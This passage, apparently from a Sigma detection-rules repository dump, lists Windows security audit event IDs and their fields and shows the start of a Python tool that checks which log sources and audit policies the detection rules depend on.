computer.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5461)\n- [5462: PAStore Engine failed to apply some rules of the active IPsec policy on the computer. Use the IP Security Monitor snap-in to diagnose the problem.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5462)\n- [5463: PAStore Engine polled for changes to the active IPsec policy and detected no changes.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5463)\n- [5464: PAStore Engine polled for changes to the active IPsec policy, detected changes, and applied them to IPsec Services.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5464)\n- [5465: PAStore Engine received a control for forced reloading of IPsec policy and processed the control successfully.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5465)\n- [5466: PAStore Engine polled for changes to the Active Directory IPsec policy, determined that Active Directory cannot be reached, and will use the cached copy of the Active Directory IPsec policy instead. Any changes made to the Active Directory IPsec policy since the last poll could not be applied.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5466)\n- [5467: PAStore Engine polled for changes to the Active Directory IPsec policy, determined that Active Directory can be reached, and found no changes to the policy. The cached copy of the Active Directory IPsec policy is no longer being used.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5467)\n- [5468: PAStore Engine polled for changes to the Active Directory IPsec policy, determined that Active Directory can be reached, found changes to the policy, and applied those changes. The cached copy of the Active Directory IPsec policy is no longer being used.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5468)\n- [5471: PAStore Engine loaded local storage IPsec policy on the computer.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5471)\n- [5472: PAStore Engine failed to load local storage IPsec policy on the computer.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5472)\n- [5473: PAStore Engine loaded directory storage IPsec policy on the computer.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5473)\n- [5474: PAStore Engine failed to load directory storage IPsec policy on the computer.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5474)\n- [5477: PAStore Engine failed to add quick mode filter.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5477)\n- [5478: IPsec Services has started successfully.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5478)\n- 5479: IPsec Services has been shut down successfully. The shutdown of IPsec Services can put the computer at greater risk of network attack or expose the computer to potential security risks.\n- 5480: IPsec Services failed to get the complete list of network interfaces on the computer. This poses a potential security risk because some of the network interfaces may not get the protection provided by the applied IPsec filters. Use the IP Security Monitor snap-in to diagnose the problem.\n- 5483: IPsec Services failed to initialize RPC server. IPsec Services could not be started.\n- 5484: IPsec Services has experienced a critical failure and has been shut down. The shutdown of IPsec Services can put the computer at greater risk of network attack or expose the computer to potential security risks.\n- 5485: IPsec Services failed to process some IPsec filters on a plug-and-play event for network interfaces. This poses a potential security risk because some of the network interfaces may not get the protection provided by the applied IPsec filters. Use the IP Security Monitor snap-in to diagnose the problem.\n- [5632: A request was made to authenticate to a wireless network.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5632)\n- [5633: A request was made to authenticate to a wired network.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5633)\n- [5712: A Remote Procedure Call (RPC) was attempted.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5712)\n- [5888: An object in the COM+ Catalog was modified.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5888)\n- [5889: An object was deleted from the COM+ Catalog.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5889)\n- [5890: An object was added to the COM+ Catalog.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5890)\n- [6144: Security policy in the group policy objects has been applied successfully.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-6144)\n- [6145: One or more errors occurred while processing security policy in the group policy objects.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-6145)\n- [6272: Network Policy Server granted access to a user.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-6272)\n- [6273: Network Policy Server denied access to a user.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-6273)\n- [6274: Network Policy Server discarded the request for a user.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-6274)\n- [6275: Network Policy Server discarded the accounting request for a user.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-6275)\n- [6276: Network Policy Server quarantined a user.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-6276)\n- [6277: Network Policy Server granted access to a user but put it on probation because the host did not meet the defined health policy.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-6277)\n- [6278: Network Policy Server granted full access to a user because the host met the defined health policy.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-6278)\n- [6279: Network Policy Server locked the user account due to repeated failed authentication attempts.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-6279)\n- [6280: Network Policy Server unlocked the user account.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-6280)\n- [6281: Code Integrity determined that the page hashes of an image file are not valid. The file could be improperly signed without page hashes or corrupt due to unauthorized modification. The invalid hashes could indicate a potential disk device error.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-6281)\n- [6400: BranchCache: Received an incorrectly formatted response while discovering availability of content.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-6400)\n- [6401: BranchCache: Received invalid data from a peer. Data discarded.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-6401)\n- [6402: BranchCache: The message to the hosted cache offering it data is incorrectly formatted.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-6402)\n- [6403: BranchCache: The hosted cache sent an incorrectly formatted response to the client.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-6403)\n- [6404: BranchCache: Hosted cache could not be authenticated using the provisioned SSL certificate.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-6404)\n- [6405: BranchCache: %2 instance(s) of event id %1 occurred.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-6405)\n- [6406: %1 registered to Windows Firewall to control filtering for the following: %2](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-6406)\n- 6407: N/A\n- [6408: Registered product %1 failed and Windows Firewall is now controlling the filtering for %2](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-6408)\n- [6409: BranchCache: A service connection point object could not be parsed.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-6409)\n- [6410: Code integrity determined that a file does not meet the security requirements to load into a process.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-6410)\n- [6416: A new external device was recognized by the System](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-6416)\n- [6419: A request was made to disable a device](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-6419)\n- [6420: A device was disabled.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-6420)\n- [6421: A request was made to enable a device.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-6421)\n- [6422: A device was enabled.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-6422)\n- [6423: The installation of this device is forbidden by system policy.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-6423)\n- [6424: The installation of this device was allowed, after having previously been forbidden by policy.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-6424)\n\n \n\n## Event Fields\n\n### Provider: Microsoft Windows Security Auditing / EventID: 4624\n\n\n Expand
\n\n```yml\n- SubjectUserSid\n- SubjectUserName\n- SubjectDomainName\n- SubjectLogonId\n- TargetUserSid\n- TargetUserName\n- TargetDomainName\n- TargetLogonId\n- LogonType\n- LogonProcessName\n- AuthenticationPackageName\n- WorkstationName\n- LogonGuid\n- TransmittedServices\n- LmPackageName\n- KeyLength\n- ProcessId\n- ProcessName\n- IpAddress\n- IpPort\n- ImpersonationLevel\n- RestrictedAdminMode\n- RemoteCredentialGuard\n- TargetOutboundUserName\n- TargetOutboundDomainName\n- VirtualAccount\n- TargetLinkedLogonId\n- ElevatedToken\n```\n\n \n\n### Provider: Microsoft Windows Security Auditing / EventID: 4627\n\n\n Expand
\n\n```yml\n- SubjectUserSid\n- SubjectUserName\n- SubjectDomainName\n- SubjectLogonId\n- TargetUserSid\n- TargetUserName\n- TargetDomainName\n- TargetLogonId\n- LogonType\n- EventIdx\n- EventCountTotal\n- GroupMembership\n```\n\n \n\n### Provider: Microsoft Windows Security Auditing / EventID: 4663\n\n\n Expand Details
\n\n```yml\n- SubjectUserSid\n- SubjectUserName\n- SubjectDomainName\n- SubjectLogonId\n- ObjectServer\n- ObjectType\n- ObjectName\n- HandleId\n- AccessList\n- AccessMask\n- ProcessId\n- ProcessName\n- ResourceAttributes\n```\n\n \n\n### Provider: Microsoft Windows Security Auditing / EventID: 4670\n\n\n Expand
\n\n```yml\n- SubjectUserSid\n- SubjectUserName\n- SubjectDomainName\n- SubjectLogonId\n- ObjectServer\n- ObjectType\n- ObjectName\n- HandleId\n- OldSd\n- NewSd\n- ProcessId\n- ProcessName\n```\n\n \n\n### Provider: Microsoft Windows Security Auditing / EventID: 4672\n\n\n Expand
\n\n```yml\n- SubjectUserSid\n- SubjectUserName\n- SubjectDomainName\n- SubjectLogonId\n- PrivilegeList\n```\n\n \n\n### Provider: Microsoft Windows Security Auditing / EventID: 4673\n\n\n Expand
\n\n```yml\n- SubjectUserSid\n- SubjectUserName\n- SubjectDomainName\n- SubjectLogonId\n- ObjectServer\n- Service\n- PrivilegeList\n- ProcessId\n- ProcessName\n```\n\n \n\n### Provider: Microsoft Windows Security Auditing / EventID: 4688\n\n\n Expand
\n\n```yml\n- SubjectUserSid\n- SubjectUserName\n- SubjectDomainName\n- SubjectLogonId\n- NewProcessId\n- NewProcessName\n- TokenElevationType\n- ProcessId\n- CommandLine\n- TargetUserSid\n- TargetUserName\n- TargetDomainName\n- TargetLogonId\n- ParentProcessName\n- MandatoryLabel\n```\n\n \n\n### Provider: Microsoft Windows Security Auditing / EventID: 4689\n\n\n Expand
\n\n```yml\n- SubjectUserSid\n- SubjectUserName\n- SubjectDomainName\n- SubjectLogonId\n- Status\n- ProcessId\n- ProcessName\n```\n\n \n\n### Provider: Microsoft Windows Security Auditing / EventID: 4702\n\n\n Expand
\n\n```yml\n- SubjectUserSid\n- SubjectUserName\n- SubjectDomainName\n- SubjectLogonId\n- TaskName\n- TaskContentNew\n- ClientProcessStartKey\n- ClientProcessId\n- ParentProcessId\n- RpcCallClientLocality\n- FQDN\n```\n\n \n\n### Provider: Microsoft Windows Security Auditing / EventID: 4703\n\n\n Expand
\n\n```yml\n- SubjectUserSid\n- SubjectUserName\n- SubjectDomainName\n- SubjectLogonId\n- TargetUserSid\n- TargetUserName\n- TargetDomainName\n- TargetLogonId\n- ProcessName\n- ProcessId\n- EnabledPrivilegeList\n- DisabledPrivilegeList\n```\n\n \n\n### Provider: Microsoft Windows Security Auditing / EventID: 4957\n\n\n Expand
\n\n```yml\n- RuleId\n- RuleName\n- RuleAttr\n```\n\n \n\n### Provider: Microsoft Windows Security Auditing / EventID: 5447\n\n\n Expand
\n\n```yml\n- ProcessId\n- UserSid\n- UserName\n- ProviderKey\n- ProviderName\n- ChangeType\n- FilterKey\n- FilterName\n- FilterType\n- FilterId\n- LayerKey\n- LayerName\n- LayerId\n- Weight\n- Conditions\n- Action\n- CalloutKey\n- CalloutName\n```\n\n \n"
},
{
"path": "documentation/tools/sigma-logsource-checker.py",
"content": "# Author: Nasreddine Bencherchali (@nas_bench) / Nextron Systems\n\n__version__ = \"0.1.0\"\n\nfrom time import sleep\nimport yaml\nimport os\nimport argparse\nfrom colorama import init\nfrom colorama import Fore\nimport collections\nimport xml.etree.ElementTree as ET\nfrom collections import defaultdict\n\nSECURITY_EVENT_ID_MAPPING = {\n # Account Logon\n \"{0CCE923F-69AE-11D9-BED3-505054503030}\": {\"EventIDs\": [4774, 4775, 4776, 4777], \"Name\": \"Audit Credential Validation\"},\n \"{0CCE9242-69AE-11D9-BED3-505054503030}\" : { \"EventIDs\": [4768, 4771, 4772], \"Name\": \"Audit Kerberos Authentication Service\"},\n \"{0CCE9240-69AE-11D9-BED3-505054503030}\" : { \"EventIDs\": [4769, 4770, 4773], \"Name\": \"Audit Kerberos Service Ticket Operations\"},\n \"{0CCE9241-69AE-11D9-BED3-505054503030}\" : { \"EventIDs\": [], \"Name\": \"Audit Other Account Logon Events\"},\n # Account Management\n \"{0CCE9239-69AE-11D9-BED3-505054503030}\" : { \"EventIDs\": [4783, 4784, 4785, 4786, 4787, 4788, 4789, 4790, 4791, 4792], \"Name\": \"Audit Application Group Management\"},\n \"{0CCE9236-69AE-11D9-BED3-505054503030}\" : { \"EventIDs\": [4741, 4742, 4743], \"Name\": \"Audit Computer Account Management\"},\n \"{0CCE9238-69AE-11D9-BED3-505054503030}\" : { \"EventIDs\": [4749, 4750, 4751, 4752, 4753], \"Name\": \"Audit Distribution Group Management\"},\n \"{0CCE923A-69AE-11D9-BED3-505054503030}\" : { \"EventIDs\": [4782, 4793], \"Name\": \"Audit Other Account Management Events\"},\n \"{0CCE9237-69AE-11D9-BED3-505054503030}\" : { \"EventIDs\": [4731, 4732, 4733, 4734, 4735, 4764, 4799, 4727, 4737, 4728, 4729, 4730, 4754, 4755, 4756, 4757, 4758], \"Name\": \"Audit Security Group Management\"},\n \"{0CCE9235-69AE-11D9-BED3-505054503030}\" : { \"EventIDs\": [4720, 4722, 4723, 4724, 4725, 4726, 4738, 4740, 4765, 4766, 4767, 4780, 4781, 4794, 4798, 5376, 5377], \"Name\": \"Audit User Account Management\"},\n # Detailed Tracking\n \"{0CCE922D-69AE-11D9-BED3-505054503030}\" : { \"EventIDs\": [4692, 4693, 4694, 4695], \"Name\": \"Audit DPAPI Activity\"},\n \"{0CCE9248-69AE-11D9-BED3-505054503030}\" : { \"EventIDs\": [6416, 6419, 6420, 6421, 6422, 6423, 6424], \"Name\": \"Audit PNP Activity\"},\n \"{0CCE922B-69AE-11D9-BED3-505054503030}\" : { \"EventIDs\": [4688, 4696], \"Name\": \"Audit Process Creation\"},\n \"{0CCE922C-69AE-11D9-BED3-505054503030}\" : { \"EventIDs\": [4689], \"Name\": \"Audit Process Termination\"},\n \"{0CCE922E-69AE-11D9-BED3-505054503030}\" : { \"EventIDs\": [5712], \"Name\": \"Audit RPC Events\"},\n \"{0CCE924A-69AE-11D9-BED3-505054503030}\" : { \"EventIDs\": [4703], \"Name\": \"Audit Token Right Adjusted\"},\n # DS Access\n \"{0CCE923E-69AE-11D9-BED3-505054503030}\" : { \"EventIDs\": [4928, 4929, 4930, 4931, 4934, 4935, 4936, 4937], \"Name\": \"Audit Detailed Directory Service Replication\"},\n \"{0CCE923B-69AE-11D9-BED3-505054503030}\" : { \"EventIDs\": [4661, 4662], \"Name\": \"Audit Directory Service Access\"},\n \"{0CCE923C-69AE-11D9-BED3-505054503030}\" : { \"EventIDs\": [5136, 5137, 5138, 5139, 5141], \"Name\": \"Audit Directory Service Changes\"},\n \"{0CCE923D-69AE-11D9-BED3-505054503030}\" : { \"EventIDs\": [4932, 4933], \"Name\": \"Audit Directory Service Replication\"},\n # Logon/Logoff\n \"{0CCE9217-69AE-11D9-BED3-505054503030}\" : { \"EventIDs\": [4625], \"Name\": \"Audit Account Lockout\"},\n \"{0CCE9247-69AE-11D9-BED3-505054503030}\" : { \"EventIDs\": [4626], \"Name\": \"Audit User/Device Claims\"},\n \"{0CCE9249-69AE-11D9-BED3-505054503030}\" : { \"EventIDs\": [4627], \"Name\": \"Audit Group Membership\"},\n \"{0CCE921A-69AE-11D9-BED3-505054503030}\" : { \"EventIDs\": [4978, 4979, 4980, 4981, 4982, 4983, 4984], \"Name\": \"Audit IPsec Extended Mode\"},\n \"{0CCE9218-69AE-11D9-BED3-505054503030}\" : { \"EventIDs\": [4646, 4650, 4651, 4652, 4653, 4655, 4976, 5049, 5453], \"Name\": \"Audit IPsec Main Mode\"},\n \"{0CCE9219-69AE-11D9-BED3-505054503030}\" : { \"EventIDs\": [4977, 5451, 5452], \"Name\": \"Audit IPsec Quick Mode\"},\n \"{0CCE9216-69AE-11D9-BED3-505054503030}\" : { \"EventIDs\": [4634, 4647], \"Name\": \"Audit Logoff\"},\n \"{0CCE9215-69AE-11D9-BED3-505054503030}\" : { \"EventIDs\": [4624, 4625, 4648, 4675], \"Name\": \"Audit Logon\"},\n \"{0CCE9243-69AE-11D9-BED3-505054503030}\" : { \"EventIDs\": [6272, 6273, 6274, 6275, 6276, 6277, 6278, 6279, 6280], \"Name\": \"Audit Network Policy Server\"},\n \"{0CCE921C-69AE-11D9-BED3-505054503030}\" : { \"EventIDs\": [4649, 4778, 4779, 4800, 4801, 4802, 4803, 5378, 5632, 5633], \"Name\": \"Audit Other Logon/Logoff Events\"},\n \"{0CCE921B-69AE-11D9-BED3-505054503030}\" : { \"EventIDs\": [4964, 4672], \"Name\": \"Audit Special Logon\"},\n # Object Access\n \"{0CCE9222-69AE-11D9-BED3-505054503030}\" : { \"EventIDs\": [4665, 4666, 4667, 4668], \"Name\": \"Audit Application Generated\"},\n \"{0CCE9221-69AE-11D9-BED3-505054503030}\" : { \"EventIDs\": [4868, 4869, 4870, 4871, 4872, 4873, 4874, 4875, 4876, 4877, 4878, 4879, 4880, 4881, 4882, 4883, 4884, 4885, 4886, 4887, 4888, 4889, 4890, 4891, 4892, 4893, 4894, 4895, 4896, 4897, 4898], \"Name\": \"Audit Certification Services\"},\n \"{0CCE9244-69AE-11D9-BED3-505054503030}\" : { \"EventIDs\": [5145], \"Name\": \"Audit Detailed File Share\"},\n \"{0CCE9224-69AE-11D9-BED3-505054503030}\" : { \"EventIDs\": [5140, 5142, 5143, 5144, 5168], \"Name\": \"Audit File Share\"},\n \"{0CCE921D-69AE-11D9-BED3-505054503030}\" : { \"EventIDs\": [4656, 4658, 4660, 4663, 4664, 4670, 4985, 5051], \"Name\": \"Audit File System\"},\n \"{0CCE9226-69AE-11D9-BED3-505054503030}\" : { \"EventIDs\": [5031, 5150, 5151, 5154, 5155, 5156, 5157, 5158, 5159], \"Name\": \"Audit Filtering Platform Connection\"},\n \"{0CCE9225-69AE-11D9-BED3-505054503030}\" : { \"EventIDs\": [5152, 5153], \"Name\": \"Audit Filtering Platform Packet Drop\"},\n \"{0CCE9223-69AE-11D9-BED3-505054503030}\" : { \"EventIDs\": [4658, 4690], \"Name\": \"Audit Handle Manipulation\"},\n \"{0CCE921F-69AE-11D9-BED3-505054503030}\" : { \"EventIDs\": [4656, 4658, 4660, 4663], \"Name\": \"Audit Kernel Object\"},\n \"{0CCE9227-69AE-11D9-BED3-505054503030}\" : { \"EventIDs\": [4671, 4691, 4698, 4699, 4700, 4701, 4702, 5148 ,5149, 5888, 5889, 5890], \"Name\": \"Audit Other Object Access Events\"},\n \"{0CCE921E-69AE-11D9-BED3-505054503030}\" : { \"EventIDs\": [4656, 4657, 4658, 4660, 4663, 4670, 5039], \"Name\": \"Audit Registry\"},\n \"{0CCE9245-69AE-11D9-BED3-505054503030}\" : { \"EventIDs\": [4656, 4658, 4663], \"Name\": \"Audit Removable Storage\"},\n \"{0CCE9220-69AE-11D9-BED3-505054503030}\" : { \"EventIDs\": [4661], \"Name\": \"Audit SAM\"},\n \"{0CCE9246-69AE-11D9-BED3-505054503030}\" : { \"EventIDs\": [4818], \"Name\": \"Audit Central Access Policy Staging\"},\n # Policy Change\n \"{0CCE922F-69AE-11D9-BED3-505054503030}\" : { \"EventIDs\": [4715, 4719, 4817, 4902, 4906, 4907, 4908, 4912, 4904, 4905], \"Name\": \"Audit Audit Policy Change\"},\n \"{0CCE9230-69AE-11D9-BED3-505054503030}\" : { \"EventIDs\": [4670, 4706, 4707, 4716, 4713, 4717, 4718, 4739, 4864, 4865, 4866, 4867], \"Name\": \"Audit Authentication Policy Change\"},\n \"{0CCE9231-69AE-11D9-BED3-505054503030}\" : { \"EventIDs\": [4703, 4704, 4705, 4670, 4911, 4913], \"Name\": \"Audit Authorization Policy Change\"},\n \"{0CCE9233-69AE-11D9-BED3-505054503030}\" : { \"EventIDs\": [4709, 4710, 4711, 4712, 5040, 5041, 5042, 5043, 5044, 5045, 5046, 5047, 5048, 5440, 5441, 5442, 5443, 5444, 5446, 5448, 5449, 5450, 5456, 5457, 5458, 5459, 5460, 5461, 5462, 5463, 5464, 5465, 5466, 5467, 5468, 5471, 5472, 5473, 5474, 5477], \"Name\": \"Audit Filtering Platform Policy Change\"},\n \"{0CCE9232-69AE-11D9-BED3-505054503030}\" : { \"EventIDs\": [4944, 4945, 4946, 4947, 4948, 4949, 4950, 4951, 4952, 4953, 4954, 4956, 4957, 4958], \"Name\": \"Audit MPSSVC Rule-Level Policy Change\"},\n \"{0CCE9234-69AE-11D9-BED3-505054503030}\" : { \"EventIDs\": [4714, 4819, 4826, 4909, 4910, 5063, 5064, 5065, 5066, 5067, 5068, 5069, 5070, 5447, 6144, 6145], \"Name\": \"Audit Other Policy Change Events\"},\n # Privilege Use\n \"{0CCE9229-69AE-11D9-BED3-505054503030}\" : { \"EventIDs\": [4673, 4674, 4985], \"Name\": \"Audit Non Sensitive Privilege Use\"},\n \"{0CCE922A-69AE-11D9-BED3-505054503030}\" : { \"EventIDs\": [4985], \"Name\": \"Audit Other Privilege Use Events\"},\n \"{0CCE9228-69AE-11D9-BED3-505054503030}\" : { \"EventIDs\": [4673, 4674, 4985], \"Name\": \"Audit Sensitive Privilege Use\"},\n # System\n \"{0CCE9213-69AE-11D9-BED3-505054503030}\" : { \"EventIDs\": [4960, 4961, 4962, 4963, 4965, 5478, 5479, 5480, 5483, 5484, 5485], \"Name\": \"Audit IPsec Driver\"},\n \"{0CCE9214-69AE-11D9-BED3-505054503030}\" : { \"EventIDs\": [5024, 5025, 5027, 5028, 5029, 5030, 5032, 5033, 5034, 5035, 5037, 5058, 5059, 6400, 6401, 6402, 6403, 6404, 6405, 6406, 6407, 6408, 6409], \"Name\": \"Audit Other System Events\"},\n \"{0CCE9210-69AE-11D9-BED3-505054503030}\" : { \"EventIDs\": [4608, 4616, 4621], \"Name\": \"Audit Security State Change\"},\n \"{0CCE9211-69AE-11D9-BED3-505054503030}\" : { \"EventIDs\": [4610, 4611, 4614, 4622, 4697], \"Name\": \"Audit Security System Extension\"},\n \"{0CCE9212-69AE-11D9-BED3-505054503030}\" : { \"EventIDs\": [4612, 4615, 4618, 4816, 5038, 5056, 5062, 5057, 5060, 5061, 6281, 6410], \"Name\": \"Audit System Integrity\"}\n}\n\nOTHER_EVENT_ID_MAPPING = {\n 'PowerShell Core': [\n {'Turn on Module Logging': 'Disabled'},\n {'Turn on PowerShell Script Block Logging': 'Disabled'},\n {'Turn on PowerShell Transcription': 'Disabled'}\n ], \n 'System/Audit Process Creation': [\n {'Include command line in process creation events': 'Disabled'}\n ], \n 'Windows Components/Windows PowerShell': [\n {'Turn on Module Logging': 'Disabled'},\n {'Turn on PowerShell Script Block Logging': 'Disabled'},\n {'Turn on PowerShell Transcription': 'Disabled'}]\n}\n\nWINDOWS_SYSMON_PROCESS_CREATION_FIELDS = [\"RuleName\", \"UtcTime\", \"ProcessGuid\", \"ProcessId\", \"Image\", \"FileVersion\", \"Description\", \"Product\", \"Company\", \"OriginalFileName\", \"CommandLine\", \"CurrentDirectory\", \"User\", \"LogonGuid\", \"LogonId\", \"TerminalSessionId\", \"IntegrityLevel\", \"Hashes\", \"ParentProcessGuid\", \"ParentProcessId\", \"ParentImage\", \"ParentCommandLine\", \"ParentUser\"]\n\n# A reduced set of unique fields that only available to Sysmon/1 - Used for testing\nWINDOWS_SYSMON_SPECIAL_PROCESS_CREATION_FIELDS = [\"RuleName\", \"UtcTime\", \"ProcessGuid\", \"FileVersion\", \"Description\", \"Product\", \"Company\", \"OriginalFileName\", \"CurrentDirectory\", \"User\", \"LogonGuid\", \"LogonId\", \"TerminalSessionId\", \"IntegrityLevel\", \"Hashes\", \"ParentProcessGuid\", \"ParentProcessId\", \"ParentCommandLine\", \"ParentUser\"]\n\nWINDOWS_SECURITY_PROCESS_CREATION_FIELDS = [\"SubjectUserSid\", \"SubjectUserName\", \"SubjectDomainName\", \"SubjectLogonId\", \"NewProcessId\", \"NewProcessName\", \"TokenElevationType\", \"ProcessId\", \"CommandLine\", \"TargetUserSid\", \"TargetUserName\", \"TargetDomainName\", \"TargetLogonId\", \"ParentProcessName\", \"MandatoryLabel\"]\n\n# A reduced set of unique fields that only available to Security/4688 - Used for testing\nWINDOWS_SECURITY_SPECIAL_PROCESS_CREATION_FIELDS = [\"SubjectUserSid\", \"SubjectUserName\", \"SubjectDomainName\", \"SubjectLogonId\", \"NewProcessId\", \"NewProcessName\", \"TokenElevationType\", \"ProcessId\", \"TargetUserSid\", \"TargetUserName\", \"TargetDomainName\", \"TargetLogonId\", \"ParentProcessName\", \"MandatoryLabel\"]\n\ndef yield_next_rule_file_path(path_to_rules: str) -> str:\n for root, _, files in os.walk(path_to_rules):\n for file in files:\n if file.endswith(\".yml\"):\n yield os.path.join(root, file)\n\ndef get_rule_part(file_path: str, part_name: str):\n yaml_dicts = get_rule_yaml(file_path)\n for yaml_part in yaml_dicts:\n if part_name in yaml_part.keys():\n return yaml_part[part_name]\n\n return None\n\ndef get_rule_yaml(file_path: str) -> dict:\n data = []\n\n with open(file_path, encoding='utf-8') as f:\n yaml_parts = yaml.safe_load_all(f)\n for part in yaml_parts:\n data.append(part)\n\n return data\n\ndef extract_events_ids(detection):\n eids_list = []\n for key, value in detection.items():\n if type(value) == dict:\n for key_, value_ in value.items():\n if key_ == \"EventID\":\n if type(value_) == int:\n eids_list.append(value_)\n elif type(value_) == list:\n for i in value_:\n eids_list.append(i)\n else:\n pass\n \n return eids_list\n \n\ndef test_invalid_logsource_attributes(path_to_rules):\n \"\"\"\n Returns list of rules that leverage unknown logsource\n \"\"\"\n faulty_rules = []\n valid_logsource = [\n 'category',\n 'product',\n 'service',\n 'definition',\n ]\n\n for file in yield_next_rule_file_path(path_to_rules):\n logsource = get_rule_part(file_path=file, part_name=\"logsource\")\n if not logsource:\n print(\"Rule {} has no 'logsource'.\".format(file))\n faulty_rules.append(file)\n continue\n valid = True\n for key in logsource:\n if key.lower() not in valid_logsource:\n print(\"Rule {} has a logsource with an invalid field ({})\".format(file, key))\n valid = False\n elif not isinstance(logsource[key], str):\n print(\"Rule {} has a logsource with an invalid field type ({})\".format(file, key))\n valid = False\n if not valid:\n faulty_rules.append(file)\n\n return faulty_rules\n\ndef extract_fields(detection):\n\n list_of_fields = []\n\n for key, value in detection.items():\n if type(value) == list:\n for element in value:\n if type(element) == dict:\n for key_, value_ in element.items():\n field = key_.split(\"|\")[0]\n if field not in list_of_fields:\n list_of_fields.append(field)\n if type(value) == dict:\n for key_, value_ in value.items():\n field = key_.split(\"|\")[0]\n if field not in list_of_fields:\n list_of_fields.append(field)\n return list_of_fields\n\ndef get_logsource_dict(path_to_rules, broken_rules):\n \"\"\"\n Return a list of dicts of all unique log sources\n \"\"\"\n logsource_dict_list_tmp = []\n\n # Add as many specific service log sources we have defined\n windows_service_security_dict = defaultdict(list)\n windows_service_powershell_dict = defaultdict(list)\n windows_category_process_creation_dict = defaultdict(list)\n windows_category_ps_module_dict = defaultdict(list)\n windows_category_ps_script_dict = defaultdict(list)\n\n for file_ in yield_next_rule_file_path(path_to_rules):\n if file_ not in broken_rules:\n logsource = get_rule_part(file_path=file_, part_name=\"logsource\")\n detection = get_rule_part(file_path=file_, part_name=\"detection\")\n logsource.pop(\"definition\", None)\n\n if ((\"product\" in logsource.keys()) and (len(logsource) == 1)):\n # We skip rules that do not specify exact services for V0.1 // Mainly the generic MIMIKATZ rule\n continue\n else:\n if \"product\" in logsource:\n # For V0.1 we check for windows logs only\n if logsource[\"product\"].lower() == \"windows\":\n\n if \"category\" in logsource:\n if logsource['category'] == \"process_creation\":\n # {\"rule_file_name\" : [fields used]}\n fields = extract_fields(detection)\n windows_category_process_creation_dict[file_] = fields\n\n elif logsource['category'] == \"ps_script\":\n fields = extract_fields(detection)\n windows_category_ps_script_dict[file_] = fields\n\n elif logsource['category'] == \"ps_module\":\n # {\"rule_file_name\" : [fields used]}\n fields = extract_fields(detection)\n windows_category_ps_module_dict[file_] = fields\n \n elif \"service\" in logsource:\n if logsource[\"service\"].lower() == \"security\":\n eid_list = extract_events_ids(detection)\n windows_service_security_dict[file_] = eid_list\n \n\n elif logsource[\"service\"].lower() == \"powershell\":\n eid_list = extract_events_ids(detection)\n windows_service_powershell_dict[file_] = eid_list\n\n return windows_service_security_dict, windows_service_powershell_dict, windows_category_process_creation_dict, windows_category_ps_module_dict, windows_category_ps_script_dict\n\ndef enrich_logsource_dict(logsource_dict_list):\n for logsource in logsource_dict_list:\n if \"product\" in logsource.keys:\n if logsource[\"product\"] == \"windows\":\n if \"service\" in logsource.keys:\n pass\n elif \"category\" in logsource.keys:\n pass\n\ndef parse_gpresult(gpresult):\n \"\"\"\n Parses GPResult command XML output\n \"\"\"\n enabled_sec_policies = []\n enabled_other_logs = defaultdict(list)\n \n tree = ET.parse(gpresult)\n root = tree.getroot()\n for child in root:\n if \"ComputerResults\" in child.tag:\n computerResultsNode = child\n break\n extensionDataList = []\n for i in computerResultsNode:\n if \"ExtensionData\" in i.tag:\n extensionDataList.append(i)\n \n for i in extensionDataList:\n ext_type = i[0].attrib[next(iter(i[0].attrib))]\n if \"AuditSettings\" in ext_type:\n auditSettings = i[0]\n for audit in auditSettings:\n SubcategoryGuid = \"\"\n SettingValue = \"\"\n for element in audit:\n if \"SubcategoryGuid\" in 